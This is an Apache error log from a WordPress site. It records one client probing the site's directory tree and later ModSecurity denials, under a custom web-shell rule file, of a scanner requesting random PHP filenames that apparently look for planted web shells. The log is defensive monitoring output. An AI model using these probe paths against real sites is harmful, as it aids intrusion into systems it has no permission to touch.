[Mon Apr 20 17:03:54.395509 2026] [autoindex:error] [pid 11441:tid 11467] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:54.622663 2026] [autoindex:error] [pid 11441:tid 11458] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:54.848859 2026] [autoindex:error] [pid 11441:tid 11454] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:05.536790 2026] [autoindex:error] [pid 11441:tid 11459] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:05.764583 2026] [autoindex:error] [pid 11441:tid 11454] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:06.021455 2026] [autoindex:error] [pid 11441:tid 11460] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:06.258449 2026] [autoindex:error] [pid 11441:tid 11466] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:06.522005 2026] [autoindex:error] [pid 11441:tid 11464] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:13.827020 2026] [autoindex:error] [pid 11441:tid 11452] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:19.307209 2026] [autoindex:error] [pid 11441:tid 11467] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:19.529735 2026] [autoindex:error] [pid 11441:tid 11443] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:21.506036 2026] [autoindex:error] [pid 11441:tid 11444] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:30.726627 2026] [autoindex:error] [pid 11441:tid 11455] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:32.608949 2026] [autoindex:error] [pid 11441:tid 11450] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:32.841103 2026] [autoindex:error] [pid 11441:tid 11460] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:40.327692 2026] [autoindex:error] [pid 11441:tid 11448] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:04:45.899781 2026] [autoindex:error] [pid 11441:tid 11446] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:04.022710 2026] [autoindex:error] [pid 11441:tid 11450] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:07.886203 2026] [autoindex:error] [pid 11441:tid 11447] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:08.121826 2026] [autoindex:error] [pid 11441:tid 11463] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:11.909220 2026] [autoindex:error] [pid 11441:tid 11454] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:13.829921 2026] [autoindex:error] [pid 11441:tid 11448] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:39.093919 2026] [autoindex:error] [pid 11441:tid 11459] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:42.843303 2026] [autoindex:error] [pid 11441:tid 11454] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:46.537846 2026] [autoindex:error] [pid 11441:tid 11464] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:50.217640 2026] [autoindex:error] [pid 11441:tid 11449] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:52.311590 2026] [autoindex:error] [pid 11441:tid 11454] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:52.538301 2026] [autoindex:error] [pid 11441:tid 11463] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:54.524957 2026] [autoindex:error] [pid 11441:tid 11445] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:54.743875 2026] [autoindex:error] [pid 11441:tid 11451] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:05:54.965952 2026] [autoindex:error] [pid 11441:tid 11460] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:19:02.602768 2026] [ssl:error] [pid 11352:tid 11430] [client 143.110.174.190:57502] AH02032: Hostname unifor636.ca provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Mon Apr 20 20:00:32.098286 2026] [:error] [pid 11441:tid 11448] [client 172.213.242.226:18278] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rgjrq.php"] [unique_id "aeYVYMixByFUvmh319CRBgAAAMU"]
[Mon Apr 20 20:00:33.277678 2026] [:error] [pid 11350:tid 11376] [client 172.213.242.226:18273] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rgjrq.php"] [unique_id "aeYVYf4EoMBgOJuJnT2XrQAAABE"]
[Mon Apr 20 20:00:33.848358 2026] [:error] [pid 11494:tid 11514] [client 172.213.242.226:18206] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rgjrq.php"] [unique_id "aeYVYcgko5iFiE8YoyTTdwAAAZI"]
[Mon Apr 20 20:00:34.400774 2026] [:error] [pid 11494:tid 11503] [client 172.213.242.226:18242] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rgjrq.php"] [unique_id "aeYVYsgko5iFiE8YoyTTeAAAAYc"]
[Mon Apr 20 20:00:34.951693 2026] [:error] [pid 11350:tid 11366] [client 172.213.242.226:18267] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "aeYVYv4EoMBgOJuJnT2XtAAAAAc"]
[Mon Apr 20 20:00:35.616543 2026] [:error] [pid 11494:tid 11500] [client 172.213.242.226:18182] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "aeYVY8gko5iFiE8YoyTTeQAAAYQ"]
[Mon Apr 20 20:00:36.142287 2026] [:error] [pid 11441:tid 11464] [client 172.213.242.226:18275] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "aeYVZMixByFUvmh319CREAAAANU"]
[Mon Apr 20 20:00:37.717923 2026] [:error] [pid 11350:tid 11376] [client 172.213.242.226:18296] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws83.php"] [unique_id "aeYVZf4EoMBgOJuJnT2XvQAAABE"]
[Mon Apr 20 20:00:38.424787 2026] [:error] [pid 11350:tid 11370] [client 172.213.242.226:18183] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x123.php"] [unique_id "aeYVZv4EoMBgOJuJnT2XvwAAAAs"]
[Mon Apr 20 20:00:38.981215 2026] [:error] [pid 11350:tid 11361] [client 172.213.242.226:18279] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x123.php"] [unique_id "aeYVZv4EoMBgOJuJnT2XwgAAAAI"]
[Mon Apr 20 20:00:39.593985 2026] [:error] [pid 11350:tid 11375] [client 172.213.242.226:18196] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x123.php"] [unique_id "aeYVZ_4EoMBgOJuJnT2XxgAAABA"]
[Mon Apr 20 20:00:40.114553 2026] [:error] [pid 11494:tid 11505] [client 172.213.242.226:18269] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x123.php"] [unique_id "aeYVaMgko5iFiE8YoyTTgQAAAYk"]
[Mon Apr 20 20:00:40.610601 2026] [:error] [pid 11351:tid 11387] [client 172.213.242.226:18177] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lclnqiii.php"] [unique_id "aeYVaAN8Z1-vktaI_tPs7wAAAEA"]
[Mon Apr 20 20:00:41.295548 2026] [:error] [pid 11350:tid 11374] [client 172.213.242.226:18255] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lclnqiii.php"] [unique_id "aeYVaf4EoMBgOJuJnT2XxwAAAA8"]
[Mon Apr 20 20:00:41.830461 2026] [:error] [pid 6928:tid 6942] [client 172.213.242.226:18180] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lclnqiii.php"] [unique_id "aeYVaR3y7MHq1iB0qYqlkQAAAUw"]
[Mon Apr 20 20:00:42.370028 2026] [:error] [pid 11350:tid 11367] [client 172.213.242.226:18272] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lclnqiii.php"] [unique_id "aeYVav4EoMBgOJuJnT2XzAAAAAg"]
[Mon Apr 20 20:00:43.266805 2026] [:error] [pid 11494:tid 11514] [client 172.213.242.226:18194] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/druqr.php"] [unique_id "aeYVa8gko5iFiE8YoyTThQAAAZI"]
[Mon Apr 20 20:00:43.925055 2026] [:error] [pid 11350:tid 11365] [client 172.213.242.226:18295] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/druqr.php"] [unique_id "aeYVa_4EoMBgOJuJnT2X0AAAAAY"]
[Mon Apr 20 20:00:44.576544 2026] [:error] [pid 11350:tid 11364] [client 172.213.242.226:18250] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/druqr.php"] [unique_id "aeYVbP4EoMBgOJuJnT2X1AAAAAU"]
[Mon Apr 20 20:00:45.480784 2026] [:error] [pid 11351:tid 11396] [client 172.213.242.226:18187] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/druqr.php"] [unique_id "aeYVbQN8Z1-vktaI_tPs9gAAAEk"]
[Mon Apr 20 20:00:46.102834 2026] [:error] [pid 6928:tid 6954] [client 172.213.242.226:18193] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "aeYVbh3y7MHq1iB0qYqllAAAAVg"]
[Mon Apr 20 20:00:46.645433 2026] [:error] [pid 11351:tid 11399] [client 172.213.242.226:18128] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "aeYVbgN8Z1-vktaI_tPs-QAAAEw"]
[Mon Apr 20 20:00:47.231407 2026] [:error] [pid 11494:tid 11499] [client 172.213.242.226:18243] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "aeYVb8gko5iFiE8YoyTTiQAAAYM"]
[Mon Apr 20 20:00:47.828506 2026] [:error] [pid 11351:tid 11387] [client 172.213.242.226:18260] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "aeYVbwN8Z1-vktaI_tPs_AAAAEA"]
[Mon Apr 20 20:00:48.545132 2026] [:error] [pid 11441:tid 11453] [client 172.213.242.226:18189] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeYVcMixByFUvmh319CRIwAAAMo"]
[Mon Apr 20 20:00:49.099245 2026] [:error] [pid 11351:tid 11402] [client 172.213.242.226:18276] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeYVcQN8Z1-vktaI_tPs_wAAAE8"]
